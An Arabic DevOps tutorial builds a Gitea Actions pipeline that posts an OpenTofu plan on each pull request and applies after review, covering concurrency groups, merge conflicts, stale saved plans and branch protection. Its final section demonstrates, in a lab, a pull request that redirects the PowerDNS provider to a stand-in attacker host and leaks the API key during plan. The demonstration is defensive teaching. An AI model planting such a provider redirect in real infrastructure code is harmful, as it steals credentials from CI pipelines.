DevOps والتشغيل الأدلة التقنية

تشغيل OpenTofu من CI/CD: خطة Plan في كل طلب دمج

خط على Gitea يضع خطة OpenTofu في كل طلب دمج ويطبقها بعد الموافقة، مع ما يحدث فعلاً عندما تتزامن الطلبات، وكيف خرج المفتاح من خطة فاشلة.

تشغيل OpenTofu من CI/CD: خطة Plan في كل طلب دمج

في مقال وحدات OpenTofu Modules أصبح عند الفريق مشروع منظم: وحدات تكتب مرة واحدة، وبيئة في كل مجلد، وحالة مشتركة مقفلة ومشفرة كما في ملف الحالة State في OpenTofu. ولكن كل تطبيق ما زال يحدث من لابتوب أحد الزملاء، وهذا يعني ثلاثة أشياء لا يحبها أحد: أن مفتاح المزود وعبارة تشفير الحالة موجودان على كل لابتوب طبق منه أحد، وأن المراجع في طلب الدمج يقرأ الكود فقط ولا يرى ما سوف يحدث، فيوافق على «إضافة سجل» دون أن يعرف أن الخطة فيها حذف، وأن سؤال «من طبق هذا التغيير ومتى؟» إجابته في ذاكرة شخص ما. وفي أحد الأيام دمج زميل طلباً وافق عليه المراجع، ثم نسي أن يطبقه، وبعد يومين طبق زميل آخر تغييره هو، فطبق معه تغيير الأول دون أن يعرف، في وقت ذروة.

والحل الذي تصل إليه أغلب الفرق هو أن ينتقل التطبيق كله إلى خط CI/CD: كل طلب دمج يشغل الخطة ويضعها تعليقاً في الطلب نفسه، فيقرؤها المراجع مع الكود، وبعد الدمج يطبق الخط التغيير وحده، والمفاتيح لا يملكها إلا الخط. وقد شرحنا في Gitea Actions كيف تشغل Gitea Runner وتكتب أول workflow، وفي مفهوم CI/CD للمبتدئين لماذا تحتاج الفرق إلى خط أصلاً، فلن نعيد ذلك هنا، وإنما نبني خط OpenTofu كاملاً على Gitea يعمل على جهازك، يدير سجلات DNS حقيقية على سيرفر PowerDNS، ونمر فيه بما يحدث فعلاً عندما يعمل فريق: طلبات تتزامن، وطلب يتعارض مع آخر، وخطة قديمة، وطلب دمج يسرق مفتاح المزود من الخطة نفسها. وسوف نناقش في هذا المقال ما يلي:

  • لماذا تكون الخطة في طلب الدمج، وما الذي يتغير في الصلاحيات عندما ينتقل التطبيق إلى الخط.
  • المختبر: Gitea وRunner وسيرفر DNS وقاعدة بيانات للحالة، وImage المهام ولماذا تحتاج Node.
  • ملف ال workflow سطراً بسطر: خطة وتعليق في كل طلب، وتطبيق بعد الدمج.
  • حماية الفرع الرئيسي بحيث لا يصل تغيير إلى الإنتاج دون مراجعة.
  • مشكلة حقيقية: خطة ألغيت وحدها بسبب التزامن Concurrency، وطلب تعارض مع آخر.
  • لماذا يعيد التطبيق الخطة بدلاً من أن يطبق خطة طلب الدمج، والخطأ Saved plan is stale.
  • ماذا لو استخدم أحد طلب الدمج ليسرق المفتاح من الخطة؟ تجربة حقيقية وما يحميك منها.
  • كشف الانحراف Drift كل ساعة، والأخطاء الشائعة، وقائمة تحقق.

لماذا الخطة في طلب الدمج؟ Plan on Pull Request

عندما يطبق كل شخص من جهازه، يكون عندك في الحقيقة مساران مختلفان لأي تغيير: مسار الكود، وهو طلب الدمج الذي يراه الجميع ويراجعونه، ومسار التطبيق، وهو أمر يكتبه شخص في الطرفية Terminal ولا يراه أحد. والمشكلة أن المساران قد لا يتطابقان: قد يطبق الزميل من فرعه قبل الدمج، أو يطبق بعد الدمج من نسخة قديمة لم يسحب فيها آخر التغييرات، أو يضيف -var لم يذكره في الطلب. وقد رأينا في أول بنية مع OpenTofu أن تغييراً بسيطاً مثل زيادة عدد السيرفرات من واحد إلى اثنين ظهر معه في الخطة سطر حذف لسجل DNS، ولا يرى المراجع هذا السطر إذا كان يقرأ الكود فقط.

والخط يجمع المسارين في مسار واحد: الخطة تحسب على الكود الموجود في طلب الدمج نفسه، وتكتب في الطلب، فيقرأ المراجع ما سوف يحدث بالضبط، والتطبيق يحدث من الفرع الرئيسي بعد الدمج فقط، من الخط، بالمفاتيح التي يملكها الخط، ويبقى سجل كل تطبيق في صفحة الخط مرتبطاً بالطلب الذي جاء منه. وهذا يغير الصلاحيات تغييراً كبيراً: المطور يحتاج إلى صلاحية فتح طلب دمج فقط، ولا يحتاج إلى أي مفتاح للمزود أو للحالة، وإذا ترك الفريق أحد، فلا يوجد مفتاح على جهازه يجب تغييره. ولكن انتبه إلى أن هذا التغيير ينقل الخطر ولا يلغيه، فالخط الآن يملك كل المفاتيح، وكل من يستطيع أن يجعل الخط ينفذ كوداً يستطيع أن يصل إليها، وهذا ما سوف نجربه فعلاً في قسم لاحق.

ماذا نبني في هذا المختبر؟ Lab Architecture

المختبر كله Containers على شبكة واحدة اسمها wr-iac-ci، والصورة التالية تبين الأجزاء وكيف يتحدث كل منها إلى الآخر:

مسار التغيير في المختبر: المطور dev1 يفتح طلب دمج في Gitea 1.27.3، فيشغل Gitea Runner 4.1.0 مهمة plan في Container من wr-iac-ci-tofu فيها fmt ثم init ثم validate ثم plan، وتقرأ الحالة من PostgreSQL 18 وتسأل PowerDNS عن السجلات، ثم تكتب الخطة تعليقاً في الطلب، ثم يوافق ops ويدمج، فتشغل مهمة apply خطة جديدة من الفرع الرئيسي وتطبقها على PowerDNS، وفي الأسفل مهمة drift كل ساعة تشغل plan -refresh-only
الخطة في طلب الدمج، والتطبيق بعد الدمج، والمفاتيح عند الخط وحده
  • Gitea بالإصدار 1.27.3 مع قاعدة SQLite، وفيه مستودع اسمه infra-dns يملكه المستخدم ops، والمطور dev1 له صلاحية الكتابة عليه، أي يستطيع أن يدفع فروعاً ويفتح طلبات دمج.
  • Gitea Runner بالإصدار 4.1.0، وشغلناه في المختبر بالنوع الذي يستخدم Docker الجهاز عبر docker.sock لأنه الأبسط، وقد شرحنا في مقال Gitea Actions لماذا لا يناسب هذا النوع سيرفراً يشغل كوداً لا تثق به، وسوف ترى بعد قليل أن هذا التحذير أهم في خط OpenTofu من أي خط آخر.
  • PowerDNS Authoritative 5.1.5، وهو «الإنتاج» الذي يديره الخط، ونطاقه example.test.، كما في المقال الأول من المرحلة.
  • PostgreSQL 18 للحالة بخلفية pg، والحالة مشفرة بعبارة مرور كما في مقال الحالة، فالخط يحتاج ثلاثة أسرار: مفتاح PowerDNS، وعنوان قاعدة البيانات، وعبارة التشفير.

Image المهام: لماذا تحتاج Node؟ Job Image

كل مهمة Job في الخط تعمل في Container من Image يحددها ال label الذي تكتبه في runs-on. وأول فكرة تخطر لك أن تستخدم Image الأداة الصغيرة التي بنيناها في المقالات السابقة، ولكن هنا تفصيل يغيب عن كثيرين: أغلب الخطوات الجاهزة Actions، ومنها actions/checkout التي تسحب المستودع، مكتوبة بـ JavaScript، والRunner يشغلها بالأمر node داخل Container المهمة نفسه، فإذا لم يكن فيه Node فشلت أول خطوة. لذلك بنينا Image للمهام من node:22-alpine، وأضفنا إليها Git وcurl وjq والملف التنفيذي لـ OpenTofu:

# Job image for the runner: Node (for actions such as actions/checkout), git, curl, jq and the tofu binary
FROM ghcr.io/opentofu/opentofu:1.13.2-minimal AS tofu
FROM node:22-alpine
RUN apk add --no-cache git curl jq bash
COPY --from=tofu /usr/local/bin/tofu /usr/local/bin/tofu

ولاحظ أن Git هنا ليس للخطوة checkout فقط، وإنما لأن OpenTofu يحتاجه ليسحب الوحدات من مصادر git::، كما رأينا في مقال الوحدات عندما فشل init برسالة git must be available and on the PATH. ثم ربطنا هذه ال Image بال label tofu في ملف إعداد الRunner:

log:
  level: info
runner:
  capacity: 1
  timeout: 30m
  labels:
    - "tofu:docker://wr-iac-ci-tofu:1.13.2"
container:
  network: "wr-iac-ci"   # jobs join the lab network to reach PowerDNS and PostgreSQL
  privileged: false
  force_pull: false      # the job image is built locally, not on a registry

في الإعداد أعلاه لاحظ أن network يجعل Containers المهام على شبكة المختبر حتى تصل إلى PowerDNS وPostgreSQL بأسمائهما، وأن force_pull: false يمنع الRunner من أن يحاول سحب ال Image من سجل Registry، لأنها موجودة على الجهاز فقط. وفي عملك تضع ال Image في سجل الحزم في Gitea نفسه وتثبت وسمها، حتى يعرف كل من يقرأ الخط بأي إصدار من الأداة طبق. وبعد التشغيل سجل الRunner نفسه:

level=info msg="Registering runner, arch=amd64, os=linux, version=v4.1.0."
level=debug msg="Successfully pinged the Gitea instance server"
level=info msg="Runner registered successfully."
SUCCESS
time="2026-11-05T02:00:31Z" level=info msg="Starting runner daemon"
time="2026-11-05T02:00:31Z" level=info msg="runner: runner-01, with version: v4.1.0, with labels: [tofu], declare successfully"

الأسرار في الخط: Actions Secrets

أضفنا الأسرار الثلاثة إلى المستودع من الواجهة البرمجية لـ Gitea، وهي نفسها التي تضيفها من صفحة إعدادات المستودع، كما في وثائق الأسرار في Gitea Actions: PDNS_API_KEY وPG_CONN_STR وSTATE_PASSPHRASE. والسر بعد حفظه لا يقرؤه أحد من الواجهة، حتى صاحب المستودع، وإنما يمرر إلى المهام فقط، ويخفيه الخط في السجلات إذا طبع كما هو، فعندما بحثنا عن قيمة المفتاح في كل سجلات التشغيل لم نجدها، ووجدنا مكانها النجوم ***. ولكن تذكر هذه الجملة: الخط يخفي القيمة إذا طبعت كما هي فقط، ولا يعرف أن نسخة Base64 منها أو جزءاً منها هو السر نفسه.

ملف ال workflow سطراً بسطر

الملف .gitea/workflows/tofu.yml فيه مهمتان: plan تعمل في طلبات الدمج، وapply تعمل بعد الدمج في الفرع الرئيسي. وهذا الجزء الأول منه:

name: tofu
on:
  pull_request:
    paths: ["dns/**", ".gitea/workflows/**"]
  push:
    branches: [main]
    paths: ["dns/**"]

env:
  TF_IN_AUTOMATION: "1"
  TF_INPUT: "0"
  PG_CONN_STR: ${{ secrets.PG_CONN_STR }}
  TF_VAR_pdns_api_key: ${{ secrets.PDNS_API_KEY }}
  TF_VAR_state_passphrase: ${{ secrets.STATE_PASSPHRASE }}

في الإعداد أعلاه لاحظ التالي:

  • الخط لا يعمل إلا إذا تغير شيء في مجلد dns، أو تغير ملف الخط نفسه في طلب دمج، فتعديل ملف README لا يشغل خطة ولا يقفل الحالة.
  • المتغير TF_INPUT: "0" يجعل الأداة تفشل بدلاً من أن تنتظر إدخالاً من لوحة مفاتيح لا يوجد في الخط، وTF_IN_AUTOMATION يقلل من الرسائل التي تقترح عليك أوامر تكتبها بيدك، كما في وثائق متغيرات البيئة.
  • الأسرار تصل إلى الأداة بالطرق التي رأيناها في المقالات السابقة: PG_CONN_STR لخلفية pg، والمتغيرات التي تبدأ بـ TF_VAR_ للمتغيرات في الكود، فلا يوجد أي سر في ملفات المستودع.

ثم مهمة الخطة:

  plan:
    if: github.event_name == 'pull_request'
    runs-on: tofu
    # One plan per pull request: a new push cancels only the older plan of the same PR
    concurrency:
      group: tofu-plan-${{ github.ref }}
      cancel-in-progress: true
    defaults:
      run:
        working-directory: dns
    steps:
      - uses: actions/checkout@v4
      - name: fmt
        run: tofu fmt -check -diff
      - name: init
        run: tofu init -lockfile=readonly
      - name: validate
        run: tofu validate -no-color
      - name: plan
        run: |
          set +e
          tofu plan -no-color -detailed-exitcode -lock-timeout=120s -out=plan.bin
          code=$?
          set -e
          [ "$code" = 1 ] && exit 1
          tofu show -no-color plan.bin > plan.txt
          rm -f plan.bin   # holds variable values; never keep it as an artifact
          echo "exit code: $code (0 = no changes, 2 = changes)"
      - name: comment
        env:
          TOKEN: ${{ github.token }}
        run: |
          summary=$(grep -E '^(Plan:|No changes)' plan.txt || true)
          body=$(jq -Rs --arg s "$summary" '{body: ("### tofu plan: " + $s + "\n\n```\n" + . + "\n```")}' plan.txt)
          code=$(curl -s -o resp.json -w "%{http_code}" -X POST -H "Authorization: token $TOKEN" \
            -H "Content-Type: application/json" -d "$body" "${{ github.server_url }}/api/v1/repos/${{ github.repository }}/issues/${{ github.event.pull_request.number }}/comments")
          if [ "$code" != 201 ]; then echo "comment failed: HTTP $code $(cat resp.json)"; exit 1; fi
          echo "commented: $summary"

في الإعداد أعلاه لاحظ التالي، فكل خطوة لها سبب:

  • الخطوة fmt -check تفشل إذا لم يكن الكود منسقاً بالشكل القياسي، وتطبع الفرق بـ -diff، والسبب ليس الشكل فقط، وإنما أن طلبات الدمج التي تخلط تغيير التنسيق بتغيير حقيقي يصعب على المراجع أن يقرأها، كما في وثائق الأمر fmt.
  • الخيار -lockfile=readonly في init يمنع الأداة من تعديل ملف القفل، فإذا أضاف طلب الدمج مزوداً جديداً دون أن يحدث ملف القفل فشلت الخطوة، بدلاً من أن يختار الخط إصداراً لم يره أحد، كما في وثائق ملف القفل.
  • الخيار -detailed-exitcode يجعل رمز الخروج 0 عندما لا يوجد تغيير، و2 عندما يوجد، و1 عند الخطأ، ولأن رمز 2 ليس فشلاً كتبنا set +e لنقرأ الرمز بأنفسنا، فالخطوة تفشل عند 1 فقط.
  • الخيار -lock-timeout=120s يجعل الخطة تنتظر القفل دقيقتين إذا كان تطبيق يعمل في اللحظة نفسها، بدلاً من أن تفشل فوراً.
  • ملف الخطة plan.bin يحذف في الخطوة نفسها، وما يبقى هو النص plan.txt فقط، والسبب ما رأيناه في المقال الأول: ملف الخطة يحمل قيم المتغيرات الحساسة، ومع أن الحالة والخطة مشفرتان في مشروعنا، فلا سبب لأن يبقى الملف بعد أن انتهى دوره.
  • التعليق يكتب بالتوكن github.token، وهو توكن مؤقت يعطيه Gitea لكل مهمة، ويسمى في وثائق Gitea GITEA_TOKEN، وصلاحياته تحددها إعدادات المستودع أو الكلمة permissions في الملف، كما في وثائق صلاحيات توكن المهام. وشغلنا المختبر بالإعداد الافتراضي، أما في عملك فاكتب في مهمة الخطة permissions بقراءة الكود والكتابة على طلبات الدمج فقط، حتى لا يستطيع التوكن أن يدفع كوداً إلى المستودع.

وأخيراً مهمة التطبيق:

  apply:
    if: github.event_name == 'push'
    runs-on: tofu
    # Applies to prod run one at a time; the state lock is the second guard
    concurrency:
      group: tofu-apply-prod
      cancel-in-progress: false
    defaults:
      run:
        working-directory: dns
    steps:
      - uses: actions/checkout@v4
      - run: tofu init -lockfile=readonly
      - name: plan
        run: tofu plan -no-color -lock-timeout=120s -out=plan.bin
      - name: apply
        run: tofu apply -no-color -lock-timeout=120s plan.bin
      - run: rm -f plan.bin
        if: always()

ولاحظ أن مهمة التطبيق تحسب خطة جديدة ثم تطبق هذه الخطة بالذات، ولا تطبق الخطة التي ظهرت في طلب الدمج، وسوف نرى السبب بتجربة حقيقية بعد قليل. ولاحظ أيضاً أن هذا الملف ليس النسخة الأولى التي كتبناها، فالنسخة الأولى كانت فيها كتلة concurrency واحدة للملف كله، وهي التي سببت المشكلة التي سوف نحكيها.

أول تشغيل: التطبيق من الخط Apply

دفعنا الكود الأول إلى الفرع الرئيسي، وفيه النطاق وسجلان: web وapi، فبدأ الخط مهمة التطبيق، وهذا آخر ما طبعته:

Plan: 3 to add, 0 to change, 0 to destroy.
powerdns_zone.main: Creating...
powerdns_zone.main: Creation complete after 0s [id=example.test.]
powerdns_record.a["web"]: Creating...
powerdns_record.a["api"]: Creating...
powerdns_record.a["api"]: Creation complete after 0s [id=api.example.test.:::A]
powerdns_record.a["web"]: Creation complete after 0s [id=web.example.test.:::A]

Apply complete! Resources: 3 added, 0 changed, 0 destroyed.

ومهمة الخطة في التشغيل نفسه ظهرت skipped، لأن شرطها github.event_name == 'pull_request' لم يتحقق. وفي أول السجل طبع الRunner معلومات المهمة: اسم الRunner وال label الذي اختارها، ونظام التشغيل داخل ال Container وهو Alpine Linux v3.24، والحدث الذي شغلها push، وهذه المعلومات هي ما تبحث عنه عندما يسألك أحد «من أين طبق هذا؟».

ولاحظ شيئاً في سجل init لم يكن يظهر على جهازك: السطر Installing pan-net/powerdns v1.5.0 يتكرر في كل مهمة، لأن كل مهمة تبدأ في Container جديد فارغ، فتنزل الأداة المزود من السجل في كل خطة وكل تطبيق. وهذا يعني شيئين: أن كل تشغيل يحتاج إلى الوصول إلى سجل المزودات على الإنترنت، فإذا تعطل السجل أو انقطع الإنترنت عن الRunner توقف الخط كله، ولا تستطيع أن تطبق إصلاحاً طارئاً، وأن الوقت والبيانات تتكرر مع كل تشغيل، ومع مزودات سحابية كبيرة يصل حجم المزود الواحد إلى عشرات الميجابايت. والحل المعتاد أن تجعل الأداة تحفظ المزودات في مجلد ذاكرة مؤقتة Plugin Cache على Volume يبقى بين المهام، أو أن تضع نسخة من المزودات التي تستخدمها في مرآة Mirror داخل شبكتك، وفي الحالتين يبقى ملف القفل هو الذي يتحقق من بصمة كل ملف، فلا تقبل الأداة ملفاً تغير في المرآة.

طلب دمج حقيقي: الخطة تعليقاً في الطلب Plan Comment

الآن جاء دور المطور، فقد طلب منه أن يضيف سجلاً للمتجر shop، وأن يضيف عنوان السيرفر الثاني إلى سجل web، فعدل ملف terraform.tfvars في فرع جديد ودفعه وفتح طلب دمج. فشغل الخط مهمة الخطة، ومرت خطوات التنسيق والتهيئة والتحقق، وطبعت خطوة validate السطر Success! The configuration is valid.، ثم الخطة:

  # powerdns_record.a["shop"] will be created
  + resource "powerdns_record" "a" {
      + id      = (known after apply)
      + name    = "shop.example.test."
      + records = [
          + "192.0.2.20",
        ]
      + ttl     = 300
      + type    = "A"
      + zone    = "example.test."
    }

  # powerdns_record.a["web"] must be replaced
-/+ resource "powerdns_record" "a" {
      ~ id      = "web.example.test.:::A" -> (known after apply)
        name    = "web.example.test."
      ~ records = [ # forces replacement
          + "192.0.2.12",
            # (1 unchanged element hidden)
        ]
        # (3 unchanged attributes hidden)
    }

Plan: 2 to add, 0 to change, 1 to destroy.
exit code: 2 (0 = no changes, 2 = changes)

ثم كتبت خطوة التعليق الخطة في طلب الدمج، والصورة التالية من صفحة الطلب نفسها:

صفحة طلب الدمج في Gitea: تعليق من المستخدم gitea-actions بعلامة bot عنوانه tofu plan: Plan: 2 to add, 0 to change, 1 to destroy، وتحته نص الخطة كاملاً مع السجل shop الذي سوف ينشأ والسجل web الذي سوف يستبدل بسبب forces replacement، وبعده موافقة ops مع تعليق يقول إن استبدال web يعني فجوة NXDOMAIN قصيرة وإنه مقبول خارج وقت الذروة، ثم دمج الطلب
الخطة في طلب الدمج نفسه، والمراجع يكتب في موافقته ما قرأه فيها

وهنا تظهر فائدة الخط كلها: المطور غير ملف القيم فقط، وطلبه يبدو «إضافة سجل»، ولكن الخطة تقول إن سجل web سوف يحذف ثم ينشأ، والعبارة forces replacement بجانب records هي السلوك نفسه الذي قسناه في المقال الأول: ثوان لا يوجد فيها الاسم أصلاً. والمراجع رأى ذلك قبل أن يحدث، فكتب في موافقته أنه قرأ الاستبدال وأن التغيير يدمج خارج وقت الذروة. ولاحظ أن المعلق هو المستخدم gitea-actions بعلامة bot، وهو هوية التوكن المؤقت. ولاحظ أيضاً أن كل دفعة جديدة إلى الفرع تضيف تعليقاً جديداً، فبعد أن دفع المطور تعديلين صغيرين أصبح في الطلب تعليقان، وفي المشاريع الكبيرة يفضل أن يبحث الخط عن تعليقه السابق بعلامة ثابتة في أوله ويعدله بدلاً من أن يضيف واحداً جديداً، حتى لا يقرأ المراجع خطة قديمة بالخطأ.

لا تطبيق دون مراجعة: Branch Protection

الخطة في الطلب لا تفيد إذا كان المطور يستطيع أن يدمج طلبه بنفسه دون أن يقرأه أحد، فمهمة التطبيق تعمل عند أي دفع إلى الفرع الرئيسي. لذلك أضفنا حماية للفرع الرئيسي، كما في وثائق الفروع المحمية في Gitea: لا يدفع أحد إليه مباشرة، ويحتاج كل دمج إلى موافقة واحدة على الأقل، ويجب أن تنجح مهمة الخطة tofu / plan (pull_request)، وتسقط الموافقة إذا دفع المطور تغييراً جديداً بعدها. ثم حاول المطور أن يدمج طلبه بنفسه:

{"message":"Does not have enough approvals","url":"http://wr-iac-gitea:3000/api/swagger"} merge-by-dev1 405

رفض Gitea الدمج بالرمز 405 لأن الطلب لا يملك موافقة. وبعد أن وافق ops ودمج، بدأت مهمة التطبيق في الفرع الرئيسي:

powerdns_record.a["web"]: Destroying... [id=web.example.test.:::A]
powerdns_record.a["shop"]: Creating...
powerdns_record.a["web"]: Destruction complete after 0s
powerdns_record.a["web"]: Creating...
powerdns_record.a["shop"]: Creation complete after 0s [id=shop.example.test.:::A]
powerdns_record.a["web"]: Creation complete after 0s [id=web.example.test.:::A]
Apply complete! Resources: 2 added, 0 changed, 1 destroyed.

والتطبيق نفذ ما كان في التعليق بالضبط: حذف سجل web وأنشأه من جديد، وأنشأ shop. ولاحظ أن الموافقة الإلزامية تحمي الفرع الرئيسي، ولكنها لا تحمي ما يحدث قبلها، أي مهمة الخطة نفسها، وهذه نقطة سوف نعود إليها.

مشكلة حقيقية: خطة ألغيت وحدها Concurrency

بعد ذلك فتح المطور طلبين في الوقت نفسه تقريباً: الأول يضيف سجلاً للوثائق docs، والثاني يضيف سجلاً للمدونة blog. وفي ذلك الوقت كانت في ملف الخط كتلة concurrency واحدة للملف كله، وكانت هذه نيتنا: ألا يعمل تشغيلان على الحالة نفسها في اللحظة نفسها:

# One run at a time for this state: a second apply waits instead of failing on the lock
concurrency:
  group: tofu-dns-prod
  cancel-in-progress: false

وظننا أن cancel-in-progress: false يعني أن التشغيلات تنتظر بعضها ولا يلغى منها شيء. ثم نظرنا في قائمة التشغيلات:

8 pull_request in_progress  | dns: add blog
7 pull_request completed cancelled | dns: add docs
6 push completed success | Merge pull request 'Add shop record and a second web server' (#1) ...

خطة طلب docs ألغيت قبل أن تبدأ، والسجل يقول ذلك: job not started. وعندما وافقنا على الطلبين وحاولنا دمجهما، دمج طلب blog ورفض طلب docs:

{"message":"Not all required status checks successful","url":"http://wr-iac-gitea:3000/api/swagger"}merge 3 405 05:11:11
merge 4 200 05:11:12

والسبب في طريقة عمل التزامن نفسها، وهي في Gitea كما في GitHub Actions الذي يتبعه، وتشرحها وثائق التحكم في التزامن: في كل مجموعة تزامن يوجد تشغيل واحد يعمل وتشغيل واحد ينتظر فقط، فإذا جاء تشغيل ثالث ألغي التشغيل المنتظر وأخذ الجديد مكانه، والخيار cancel-in-progress يتحكم في التشغيل الذي يعمل وليس في المنتظر. ففي مختبرنا كانت خطة طلب سابق تعمل، وخطة docs تنتظر، فجاءت خطة blog فألغت docs. ومع حماية الفرع التي تطلب نجاح الخطة أصبح الطلب لا يدمج حتى يدفع أحد إليه من جديد. والأخطر أن المجموعة نفسها كانت تضم التطبيقات، أي أن خطة طلب دمج كانت تستطيع أن تلغي تطبيقاً منتظراً بعد دمج.

والحل أن تفصل المجموعتين، كما في الملف الذي عرضناه: لكل طلب دمج مجموعة خطة خاصة به tofu-plan-${{ github.ref }} مع cancel-in-progress: true، فالدفعة الجديدة إلى الطلب نفسه تلغي خطته القديمة فقط، وهذا ما تريده لأن الخطة القديمة لم تعد تهم. والتطبيقات في مجموعة واحدة tofu-apply-prod لا تلغي ما يعمل. وتبقى قاعدة «منتظر واحد فقط» في مجموعة التطبيق، ولكنها هنا مقبولة، لأن كل تطبيق يحسب خطة جديدة من آخر نسخة في الفرع الرئيسي، فإذا ألغي تطبيق منتظر بسبب دمج جديد، فالتطبيق الجديد يطبق التغييرين معاً. أما التزامن بين خطة طلب وتطبيق، فيحميك منه قفل الحالة في PostgreSQL، والخيار -lock-timeout يجعل الخطة تنتظر حتى ينتهي التطبيق.

مجموعة تزامن واحدة tofu-dns-prod: خطة تعمل، وخطة docs تنتظر، ثم تأتي خطة blog فتلغى docs قبل أن تبدأ بالحالة cancelled وjob not started، فيرفض دمج طلب docs بالرسالة Not all required status checks successful، وتحتها الحل: مجموعة tofu-plan لكل طلب مع cancel-in-progress true، ومجموعة tofu-apply-prod للتطبيقات مع cancel-in-progress false، وقفل الحالة في PostgreSQL مع lock-timeout بين الاثنين
في كل مجموعة تزامن منتظر واحد فقط، فلا تضع خطط طلبات الدمج والتطبيقات في مجموعة واحدة

والطلب الثاني تعارض مع الأول: Merge Conflict

بعد أن دمجنا إصلاح التزامن بطلب دمج آخر وافق عليه المطور، طلبنا من Gitea أن يحدث فرع طلب docs من الفرع الرئيسي، فرفض بالرمز 409، والسبب أن الطلبين أضافا سطراً في المكان نفسه من ملف terraform.tfvars، وهو آخر سطر قبل القوس:

records = {
  web  = ["192.0.2.10", "192.0.2.12"]
  api  = ["192.0.2.11"]
  shop = ["192.0.2.20"]
<<<<<<< HEAD
  docs = ["192.0.2.30"]
=======
  blog = ["192.0.2.31"]
>>>>>>> o/main
}

وهذا تعارض يحله المطور في دقيقة، ولكن انتبه لما يعنيه: الخطة التي كانت في طلب docs، لو كانت نجحت، حسبت على نسخة من الفرع الرئيسي لم يكن فيها blog. وبعد أن حل المطور التعارض ودفع، حسب الخط خطة جديدة:

  # powerdns_record.a["docs"] will be created
Plan: 1 to add, 0 to change, 0 to destroy.

والخطة الآن صحيحة، لأن blog أصبح في الحالة وفي الكود معاً. والقاعدة التي تخرج بها: الخطة في طلب الدمج صحيحة فقط للنسخة من الفرع الرئيسي التي حسبت عليها، فإذا دمج شيء آخر بعدها، فهي على الأقل قديمة، وفي أسوأ الحالات مضللة. لذلك يفضل في مستودعات البنية أن تطلب حماية الفرع أن يكون الطلب محدثاً من الفرع الرئيسي قبل الدمج، وأن تسقط الموافقة مع كل دفعة جديدة، حتى تكون الخطة التي وافق عليها المراجع هي آخر خطة.

لماذا يعيد التطبيق الخطة؟ Saved plan is stale

قد يتساءل البعض: لماذا لا نحفظ ملف الخطة من طلب الدمج ونطبقه بعد الدمج، فنكون قد طبقنا ما رآه المراجع حرفاً بحرف؟ ولكي نجيب بتجربة، حسبنا خطة من نسخة من الفرع الرئيسي وحفظناها في ملف، وهي الخطوة التي سوف تفعلها مهمة الخطة لو حفظت الملف، ثم دمجنا طلب docs فطبقه الخط، ثم حاولنا أن نطبق الملف القديم:

Error: Saved plan is stale

The given plan file can no longer be applied because the state was changed by
another operation after the plan was created.

الأداة رفضت، لأن ملف الخطة يحمل معه نسخة الحالة التي حسب عليها، ورقمها serial، كما رأينا في مقال الحالة، فإذا تغيرت الحالة بعده فلا يمكن أن يطبق، والسبب أن الخطة قد تكون مبنية على أشياء لم تعد صحيحة، كما في وثائق الأمر apply. وهذه حماية ممتازة، ولكنها تعني أن خطة طلب الدمج سوف تفشل في التطبيق كلما دمج طلب آخر قبلها، وفي فريق نشط هذا يحدث كل يوم. ولهذا تحسب مهمة التطبيق خطة جديدة من الفرع الرئيسي وتطبقها مباشرة، والمراجع يطمئن لأن ما في الفرع الرئيسي هو الكود الذي وافق عليه مع آخر ما دمج قبله.

ويبقى سؤال: ماذا لو كانت الخطة الجديدة مختلفة عما رآه المراجع، بسبب انحراف حدث بين المراجعة والدمج مثلاً؟ والإجابة الواقعية عند أغلب الفرق أن تبحث مهمة التطبيق في خطتها عن الحذف، فإذا وجدت destroy لم يكن في الطلب، توقفت وطلبت موافقة يدوية، وفي Gitea تستطيع أن تفعل ذلك بخطوة تقرأ الخطة بالأمر tofu show -json وتعد الموارد التي سوف تحذف، وتفشل إذا زاد عددها عن صفر دون علامة واضحة في الطلب.

خط زمني: في اللحظة الأولى تحسب خطة على الحالة الحالية وتحفظ في old.bin، ثم يدمج طلب docs ويطبقه الخط فيزيد رقم serial للحالة، ثم تطبيق old.bin يرفض بالخطأ Saved plan is stale، وتحته الطريقة التي نستخدمها: مهمة التطبيق تحسب خطة جديدة من الفرع الرئيسي وتطبقها مباشرة، مع فحص الحذف غير المتوقع
الخطة المحفوظة مربوطة بنسخة الحالة، فإذا تغيرت الحالة لم تعد تطبق

ماذا لو استخدم أحد الخطة ليسرق المفتاح؟ Plan Runs Code

هذا أهم قسم في المقال، فالفكرة التي يحملها الجميع أن plan آمن لأنه «لا يغير شيئاً»، وأن التطبيق هو الخطير، ولذلك تحمي الفرق التطبيق بالموافقات وتترك الخطة تعمل في كل طلب دمج بكل الأسرار. ولكن الخطة ليست قراءة للملفات فقط، فهي تشغل المزودات، والمزودات تتصل بالواجهات البرمجية بالمفاتيح، وتقرأ مصادر البيانات Data Sources، وبعض المصادر تشغل أوامر. أي أن الخطة تنفذ الكود الموجود في طلب الدمج، بالأسرار التي يملكها الخط.

ولكي نختبر ذلك فعلاً، شغلنا على الشبكة نفسها Container صغيراً اسمه wr-iac-collector، وهو سيرفر HTTP يطبع ترويسة X-API-Key لأي طلب يصله، ويقوم مقام سيرفر يملكه مخترق في الإنترنت. ثم فتح المطور طلب دمج عنوانه «Tidy provider block»، وفيه تغيير سطر واحد يبدو تنظيفاً:

provider "powerdns" {
  server_url = "http://wr-iac-collector:8081" # "tidy up" the provider block
  api_key    = var.pdns_api_key
}

فشغل الخط مهمة الخطة كالعادة، وفشلت:

Planning failed. OpenTofu encountered an error while generating this plan.
Error: Error setting up PowerDNS client: Error while creating client: Invalid response code from server: '404'. Response body: &{0xc00004a3c0 {0 0} false <nil> 0x7685a0 0x768520}
  with provider["registry.opentofu.org/pan-net/powerdns"],
  on main.tf line 1, in provider "powerdns":
   1: provider "powerdns" {

والمراجع الذي يرى هذا الفشل يظن أن الطلب فيه خطأ وأن شيئاً لم يحدث، ولكن هذا ما طبعه سيرفر المخترق في اللحظة نفسها:

GET /api/v1/servers X-API-Key: c16fe7615e696e996d03c3255a3b9c11
GET /servers/localhost X-API-Key: c16fe7615e696e996d03c3255a3b9c11

مفتاح PowerDNS الحقيقي وصل كاملاً إلى سيرفر المخترق، قبل أن يقرأ أحد الطلب، وقبل أي موافقة، والخطة فشلت. والسبب أن المزود عند تهيئته يتصل بالعنوان المكتوب في الكود ومعه المفتاح، ليتأكد أن الواجهة تعمل، والخط أعطاه المفتاح لأن المفتاح متاح لكل مهمة خطة. ولاحظ أن إخفاء الأسرار في السجلات لم يفعل شيئاً هنا، فالسر لم يطبع في السجل أصلاً، وإنما خرج في طلب شبكة. والطريقة نفسها تعمل مع أي مزود يقبل عنواناً في الإعداد، ومع مصادر بيانات مثل http وexternal التي تعمل أثناء الخطة.

